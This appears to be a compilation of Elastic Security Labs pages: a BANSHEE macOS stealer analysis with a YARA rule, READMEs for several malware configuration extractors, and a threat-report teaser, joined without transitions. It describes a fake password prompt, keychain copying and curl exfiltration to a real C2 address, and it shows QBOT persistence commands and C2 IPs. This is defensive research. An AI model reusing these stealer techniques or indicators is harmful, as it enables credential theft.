In August 2024, a novel macOS malware named "BANSHEE Stealer" emerged, catching the attention of the cybersecurity community. Reportedly developed by Russian threat actors, BANSHEE Stealer was introduced on an underground forum and is designed to function across both macOS x86_64 and ARM64 architectures.

This malware presents a severe risk to macOS users, targeting vital system information, browser data, and cryptocurrency wallets.

With a steep monthly subscription price of $3,000, BANSHEE Stealer stands out in the market, particularly compared to known stealers like AgentTesla.

As macOS increasingly becomes a prime target for cybercriminals, BANSHEE Stealer underscores the rising observance of macOS-specific malware. This analysis explores the technical details of BANSHEE Stealer, aiming to help the community understand its impact and stay informed about emerging threats.

Key takeaways

• BANSHEE Stealer highlights the growing number of macOS malware samples as the OS becomes a more attractive target for cyber threats.
• BANSHEE Stealer's $3,000 monthly price is notably high compared to Windows-based stealers.
• BANSHEE Stealer targets a wide range of browsers, cryptocurrency wallets, and around 100 browser extensions, making it a highly versatile and dangerous threat.

Malware Analysis

The malware we analyzed in this research contained all the C++ symbols, which is interesting as we can guess the project's code structure by knowing these source code file names, as seen in the picture below. Looking into the C++-generated global variable initialization functions, we can find values set automatically/manually by the user during the build process, like the remote IP, encryption key, build ID, etc.

The following table summarizes the leaked .cpp file names through the symbols in the binary.

Debugger, VM Detection, and Language Checks

BANSHEE Stealer uses basic techniques to evade detection. It detects debugging by utilizing the sysctl API.

For virtualization detection, it runs the command system_profiler SPHardwareDataType | grep 'Model Identifier' to determine whether the string Virtual appears in the hardware model identifier, which suggests a virtual machine. These methods are relatively simple and can be easily circumvented by advanced sandboxes and malware analysts.

Additionally, It parses the user-preferred canonicalized language returned from the CFLocaleCopyPreferredLanguages API and looks for the string ru. This tactic helps the malware avoid infecting systems where Russian is the primary language.

System information collection

User password

The malware creates an Osascript password prompt with a dialog saying that to launch the application, you need to update the system settings. Please enter your password.

When the user enters the password, it will be validated using the dscl command by running dscl Local/Default -authonly <username> <password>

If valid, the password will be written to the following file /Users/<username>/password-entered.

These credentials can be leveraged to decrypt the keychain data stored on the system, granting access to all saved passwords.

File, software, and hardware information collection

The function System::collectSystemInfo collects system information and serializes it in a JSON object. It executes the command system_profiler SPSoftware DataType SPHardwareDataType, which provides details about the system’s software and hardware. It gets the machine's public IP by requesting it from freeipapi.com through the built-in macOS cURL command.

The JSON file will be saved under <temporary_path>/system_info.json

BANSHEE stealer executes AppleScripts; interestingly, it writes the AppleScripts to the same file /tmp/tempAppleScript.

The first script to be executed first mutes the system sound with osascript -e 'set volume with output muted' command. It then collects various files from the system, which are listed below:

• Safari cookies
• Notes database
• Files with the following extensions .txt, .docx, .rtf, .doc, .wallet, .keys, or .key from the Desktop and Documents folders.

Dump keychain passwords

It copies the keychain of the system /Library/Keychains/login.keychain-db to <temporary_path>/Passwords

Browser collection

BANSHEE collects data from 9 different browsers currently, including browser history, cookies, logins, etc:

• Chrome
• Firefox
• Brave
• Edge
• Vivaldi
• Yandex
• Opera
• OperaGX

Regarding Safari, only the cookies are collected by the AppleScript script for the current version.

Additionally, data from approximately 100 browser plugins are collected from the machine. A list of these extension IDs is provided at the end of the blog post.

The collected files are saved under <temporary_path>/Browsers.

Wallet collection

• Exodus
• Electrum
• Coinomi
• Guarda
• Wasabi Wallet
• Atomic
• Ledger

The collected wallets are stored under <temporary_path>/Wallets.

Exfiltration

After the malware finishes collecting data, it first ZIP compresses the temporary folder using the ditto command. The zip file is then XOR encrypted and base64 encoded and sent through a post request to the URL: http://45.142.122[.]92/send/ with the built-in cURL command.

Behavior detection

• Crypto Wallet File Access by Unsigned or Untrusted Binary
• Web Browser Credential Data Accessed by Unsigned or Untrusted Process
• Osascript Payload Drop and Execute
• Potential Credentials Phishing via Osascript

YARA rule

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BANSHEE malware:

rule Macos_Infostealer_Banshee {
    meta:
        author = "Elastic Security"
        creation_date = "2024-08-13"
        last_modified = "2024-08-13"
        os = "MacOS"
        arch = "x86, arm64"
        category_type = "Infostealer"
        family = "Banshee"
        threat_name = "Macos.Infostealer.Banshee"
        license = "Elastic License v2"

    strings:
        $str_0 = "No debugging, VM, or Russian language detected." ascii fullword
        $str_1 = "Remote IP: " ascii fullword
        $str_2 = "Russian language detected!" ascii fullword
        $str_3 = " is empty or does not exist, skipping." ascii fullword
        $str_4 = "Data posted successfully" ascii fullword
        $binary_0 = { 8B 55 BC 0F BE 08 31 D1 88 08 48 8B 45 D8 48 83 C0 01 48 89 45 D8 E9 }
        $binary_1 = { 48 83 EC 60 48 89 7D C8 48 89 F8 48 89 45 D0 48 89 7D F8 48 89 75 F0 48 89 55 E8 C6 45 E7 00 }
    condition:
        all of ($str_*) or all of ($binary_*)
}

Conclusion

BANSHEE Stealer is macOS-based malware that can collect extensive data from the system, browsers, cryptocurrency wallets, and numerous browser extensions. Despite its potentially dangerous capabilities, the malware's lack of sophisticated obfuscation and the presence of debug information make it easier for analysts to dissect and understand. While BANSHEE Stealer is not overly complex in its design, its focus on macOS systems and the breadth of data it collects make it a significant threat that demands attention from the cybersecurity community.

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

Download netwire-configuration-extractor.tar.gz

For information on the NETWIRE malware check out the following resources:

• NETWIRE Dynamic Configuration Extraction

Getting started

Docker

The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.

docker build . -t netwire_loader_config_extractor

Then we run the container with the -v flag to map a host directory to the docker container directory.

docker run -ti --rm -v $(pwd)/data:/data netwire_loader_config_extractor:latest --help

Running it locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
netwire-config-extractor --help

Usage

All samples need to be unpacked prior to execution extraction attempts.

Our extractor takes either a directory of samples with -d option or -f for a single sample and then can output parts of the configuration of note, specifically:

• -k : extract the encryption keys
• -c : extract the C2 information
• -s : extract the wide-character strings
• -a : extract the ASCII character strings

docker run -ti --rm -v $(pwd)/data:/data netwire_loader_config_extractor:latest -d "C:\tmp\samples"

You can collect the extracted configurations from the directory you set when running the extractor.

Download blister-config-extractor.tar.gz

Getting Started

This tool provides a Python module and command line tool that will extract configurations from the BLISTER malware loader and dump the results to screen.

For information on the BLISTER malware loader and campaign observations, check out our blog posts detailing this:

• BLISTER Campaign Analysis
• BLISTER Malware Analysis

Docker

We can easily run the extractor with Docker, first we need to build the image:

docker build . -t blister-config-extractor

Then we run the container with the -v flag to map a host directory to the docker container directory:

docker run -ti --rm -v \
"$(pwd)/binaries":/binaries blister-config-extractor:latest -d /binaries/

We can either specify a single sample with -f option or a directory of samples with -d.

Running it Locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
blister-config-extractor -h

Once that works, you can do the same sort of things as mentioned in the Docker instructions above.

References

• Customised Rabbit cipher implementation based on Rabbit-Cipher

Download bpfdoor-config-extractor.tar.gz

Overview

This tool provides a Python module and command line tool that will extract passwords from BPFDoor samples.

The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will scan for BPFDoor infected hosts.

• BPFDoor analysis
• BPFDoor scanner

Getting Started

Docker

We can easily run the extractor with Docker, first we need to build the image.

Building the BPFDoor Docker image

docker build . -t bpfdoor-extractor

Then we run the container with the -v flag to map a host directory to the Docker container directory that contains the BPFDoor samples.

Running the BPFDoor Docker container

docker run -ti --rm -v $(pwd)/binaries:/binaries \
  bpfdoor-extractor:latest -d /binaries/

We can either specify a single sample with -f option or a directory of samples with -d

BPFDoor Configuration Extractor help output

docker run -ti --rm bpfdoor-extractor:latest -h

Author: Elastic Security (MARE)

______ ______ ______ ______
| ___ \| ___ \|  ___||  _  \
| |_/ /| |_/ /| |_   | | | | ___    ___   _ __
| ___ \|  __/ |  _|  | | | |/ _ \  / _ \ | '__|
| |_/ /| |    | |    | |/ /| (_) || (_) || |
\____/ \_|    \_|    |___/  \___/  \___/ |_|
 _____                 __  _          _____       _                      _
/  __ \               / _|(_)        |  ___|     | |                    | |
| /  \/  ___   _ __  | |_  _   __ _  | |__ __  __| |_  _ __  __ _   ___ | |_  ___   _ __
| |     / _ \ | '_ \ |  _|| | / _` | |  __|\ \/ /| __|| '__|/ _` | / __|| __|/ _ \ | '__|
| \__/\| (_) || | | || |  | || (_| | | |___ >  < | |_ | |  | (_| || (__ | |_| (_) || |
 \____/ \___/ |_| |_||_|  |_| \__, | \____//_/\_\ \__||_|   \__,_| \___| \__|\___/ |_|
                               __/ |
                              |___/


usage: bpfdoor-extractor [-h] (-f FILENAME | -d DIRNAME)

options:
  -h, --help            show this help message and exit
  -f FILENAME, --file FILENAME
                        File
  -d DIRNAME, --dir DIRNAME
                        Directory

Running it Locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
bpfdoor-extractor --help

Once that works, you can do the same sort of things as mentioned in the Docker instructions above.

Download bpfdoor-scanner.tar.gz

Getting Started

This tool provides a Python script to identify hosts that are infected with the BPFDoor malware.

The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will extract configurations from BPFDoor malware samples.

• BPFDoor analysis
• BPFDoor configuration extractor

Permissions

On Linux (and thus in a container), the tool requires the following permissions:

• CAP_NET_BIND_SERVICE
• CAP_NET_RAW

On any *NIX host, running the script with sudo will get you what you need. As long as you don’t strip the privileges listed for your container and you publish the UDP port you intend to receive on, you should be set.

Docker

We can easily run the scanner with Docker, first we need to build the image:

Building the BPFDoor scanner Docker image

docker build . -t bpfdoor-scanner

Usage

Once you’be built the Docker iamge, we can run the container to get a list of the options.

Runing the BPFDoor container

docker run -ti --rm bpfdoor-scanner:latest --help

Usage: bpfdoor-scanner [OPTIONS]

  Sends a discovery packet to suspected BPFDoor endpoints.

  Example usage:

      sudo ./bpfdoor-scanner --target-ip 1.2.3.4

  Sends a packet to IP 1.2.3.4 using the default target port 68/UDP (tool
  listens on all ports) using the default interface on this host and listens
  on port 53/UDP to masquerade as traffic.

  NOTE: Elevated privileges are required for source ports < 1024.

Options:
  --target-ip TEXT       [required]
  --target-port INTEGER  [default: 68]
  --source-ip TEXT       IP for target to respond to and attempt to bind
                         locally  [default: 172.17.0.3]
  --source-port INTEGER  Local port to listen on for response  [default: 53]
  --timeout INTEGER      Number of seconds to wait for response  [default: 5]
  -v, --verbose          Show verbose output
  -d, --debug            Show debug output
  --version
  --help                 Show this message and exit.

The minimum required option is just --target-ip. The rest have defaults. For running in a container, you’ll want to publish the return port (defaults to 53) and specify --source-ip of the host interface you wish to use. In the following example, the IP 192.168.100.10 is the interface on my host that will receive the packet.

Example running the BPFDoor scanner

docker run -ti --publish 53:53/udp --rm bpfdoor-scanner:latest \
  --target-ip 192.168.32.18 --source-ip 192.168.100.10

Running Locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

Running BPFDoor scanner locally

poetry lock
poetry install
poetry shell
sudo bpfdoor-scanner --help

Once that works, you can do the same sort of things as mentioned in the Docker instructions above.

Download cobalt-strike-extractor.tar.gz

Overview

This tool provides a Python module and command line tool that will search Elastic Endpoint alert data for detections of Cobalt Strike and the extracted memory data. When present, this tool will extract the implant configuration using the cobaltstrike-config-extractor. The information is then normalized into an ECS-formatted JSON document and indexed into an Elasticsearch cluster or output to the terminal as JSON.

For help on creating Fleet policies to collect and analyze Cobalt Strike beacons in the Elastic Stack, check out our blog posts detailing this:

• Collecting Colbalt Strike beacons
• Extracting Cobalt Strike beacon configurations

Getting Started

Docker

The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.

docker build . -t cobalt-strike-extractor

Next, make a copy of config.reference.yml and name it config.local.yml and edit for your environment. A minimal config looks like the example below. The input and output could use the same values, but you can optionally push it to a different cluster for analysis.

## Using an Elastic Cloud instance (this is a randomly generated example)
input.elasticsearch:
  enabled: True
  cloud.id: security-cluster:dXMtd2VzdDEuZ2NwLmNsb3VkLmVzLmlvJGU0MWU1YTc3YmRjNzY2OTY0MDg2NjIzNDA5NzFjNjFkJDdlYjRlYTJkMzJkMTgzYTRiMmJkMjlkNTNjODhjMjQ4
  cloud.auth: elastic:<PASSWORD>

## Default output will use localhost:9092, see reference config
output.elasticsearch:
  enabled: True
  username: elastic
  password: <PASSWORD>

Now, run the container, passing in our local configuration. The -v flag here will add informational messages to the log output. Here, it tells us how many documents were successfully parsed and written.

docker run -ti --rm -v "$(pwd)/config.local.yml:/config.yml" \
    cobalt-strike-extractor:latest -c /config.yml -v

Output:

[2022-01-10T21:33:31.493][INFO] Setting up input/output
[2022-01-10T21:33:31.493][INFO] Connecting to Elasticsearch for input
[2022-01-10T21:33:31.493][INFO] Successfully connected to Elasticsearch for input
[2022-01-10T21:33:31.834][INFO] Connecting to Elasticsearch for output
[2022-01-10T21:33:31.835][INFO] Successfully connected to Elasticsearch for output
[2022-01-10T21:33:33.030][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.078][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.093][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.096][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.097][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.098][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.186][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.191][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.461][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.516][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.927][INFO] Wrote 2 docs to Elasticsearch

The [WARNING] messages here are to be expected. These are simply source documents that didn’t contain the configuration information.

Filter by time

To limit the search by time frame, you can add the --since argument, which takes either an ISO-formatted date time string or you can use Elastic date math. For example, to limit search to the last 30 days, you can do the following.

docker run -ti --rm -v "$(pwd)/config.local.yml:/config.yml" \
    cobalt-strike-extractor:latest --since "now-30d/d" -c config.local.yml

Pipe output to other tools

Lastly, you can pipe the output to other commands, such as jq to do local analysis. You can also override the configuration file values using environment variables.

docker run -i --rm -a stdin -a stdout -a stderr \
    -v "$(pwd)/config.local.yml:/config.yml" \
    -e "OUTPUT_ELASTICSEARCH_ENABLED=False" \
    -e "OUTPUT_CONSOLE_ENABLED=True" cobalt-strike-extractor:latest -c /config.yml -q | jq  '.cobaltstrike.server.hostname'

In the example above, we disabled the Elasticsearch output and enabled the Console output using environment variables. We made the output more quiet using the -q flag (hiding the warnings). Then, we used jq to just pull out the “hostname” value of the configuration.

Running it Locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
cobalt-strike-extractor --help

Once that works, you can do the same sort of things as mentioned in the Docker instructions above.

Download emotet-configuration-extractor.tar.gz

For information on the EMOTET malware check out the following resources:

• EMOTET Dynamic Configuration Extraction

Getting started

Docker

The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.

docker build . -t emotet-config-extractor

Then we run the container with the -v flag to map a host directory to the docker container directory.

docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest --help

Running it locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
emotet-config-extractor --help

Usage

All samples need to be unpacked prior to execution extraction attempts.

Our extractor takes either a directory of samples with -d option or -f for a single sample and then can output parts of the configuration of note, specifically:

• -k : extract the encryption keys
• -c : extract the C2 information
• -s : extract the wide-character strings
• -a : extract the ASCII character strings

docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest -d "C:\tmp\samples"

You can collect the extracted configurations from the directory you set when running the extractor.

Download icedid-configuration-extractor.tar.gz

For information on the ICEDID malware and network infrastructure, check out the following resources:

• ICEDIDs network infrastructure is alive and well
• ICEDID network infrastructure checking utility

Getting started

Docker

The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.

docker build . -t icedid_loader_config_extractor

Then we run the container with the -v flag to map a host directory to the docker container directory.

docker run -ti --rm -v $(pwd)/data:/data icedid_loader_config_extractor:latest --help

Running it locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
poetry lock
poetry install
poetry shell
icedid_loader_config_extractor --help

Usage

All samples need to be unpacked prior to execution extraction attempts.

We can either specify a single sample with -f option or a directory of samples with -d.

docker run -ti --rm -v $(pwd)/data:/data icedid_loader_config_extractor:latest -d "C:\tmp\samples"

You can collect the extracted configurations from the directory you set when running the extractor.

Download parallax-payload-extractor.tar.gz

For information on the PARALLAX malware loader and campaign observations, check out our blog posts detailing this intrusion set.

Getting started

Docker

The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.

docker build . -t parallax_loader_payload_extractor

Then we run the container with the -v flag to map a host directory to the docker container directory.

docker run -ti --rm -v $(pwd)/data:/data parallax_loader_payload_extractor:latest --help

Running it locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
parallax_loader_payload_extractor --help

Usage

We can either specify a single sample with -f option or a directory of samples with -d. You can use the -o switch to set the output directory of the payloads.

docker run -ti --rm -v $(pwd)/data:/data parallax_loader_payload_extractor:latest -d /data -o /data

You can collect the extracted payloads from the directory you set when running the extractor, the data directory in the root of the extractor in the above example.

Download qbot-config-extractor.tar.gz

Getting Started

This tool provides a Python module and command line tool that will extract configurations from the QBOT malware samples and dump the results to screen.

For information on the QBOT attack pattern and malware analysis, check out our blog posts detailing this:

• Exploring the QBOT Attack Pattern
• QBOT Malware Analysis

Docker

We can easily run the extractor with Docker, first we need to build the image:

docker build . -t qbot-config-extractor

Then we run the container with the -v flag to map a host directory to the docker container directory:

docker run -ti --rm -v \
"$(pwd)/data":/data qbot-config-extractor:latest -d /data/

We can either specify a single sample with -f option or a directory of samples with -d.

$ docker run -ti --rm -v $(pwd)/data:/data qbot-config-extractor:latest -f data/c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a

=== Strings ===
# Blob address: 0x100840a0
# Key address: 0x10084040
[0x0]: ProgramData
[0xc]: /t4
[0x10]: EBBA
[0x15]: netstat -nao
[0x22]: jHxastDcds)oMc=jvh7wdUhxcsdt2
[0x40]: schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F

...truncated...

=== RESOURCE 1 ===
Key: b'\\System32\\WindowsPowerShel1\\v1.0\\powershel1.exe'
Type: DataType.DOMAINS
41.228.22.180:443
47.23.89.62:995
176.67.56.94:443
103.107.113.120:443
148.64.96.100:443
47.180.172.159:443
181.118.183.98:443

...truncated...

Running it Locally

As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses Poetry to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.

poetry lock
poetry install
poetry shell
qbot-config-extractor -h

Once that works, you can do the same sort of things as mentioned in the Docker instructions above.

Let’s dig into a few of the endpoint related findings:

1. 72% of all defense evasion techniques consisted of masquerading and system binary proxy execution

2. ~77% of all credential access techniques are attributed to OS credential dumping with commonly known utilities

Here’s a chart on how the endpoint techniques breakdown across our data set.

This was just a preview of the research coming your way. We have lots of findings and recommendations coming your way soon. Stay tuned to Elastic Security Labs for the 2022 Elastic Global Threat Report.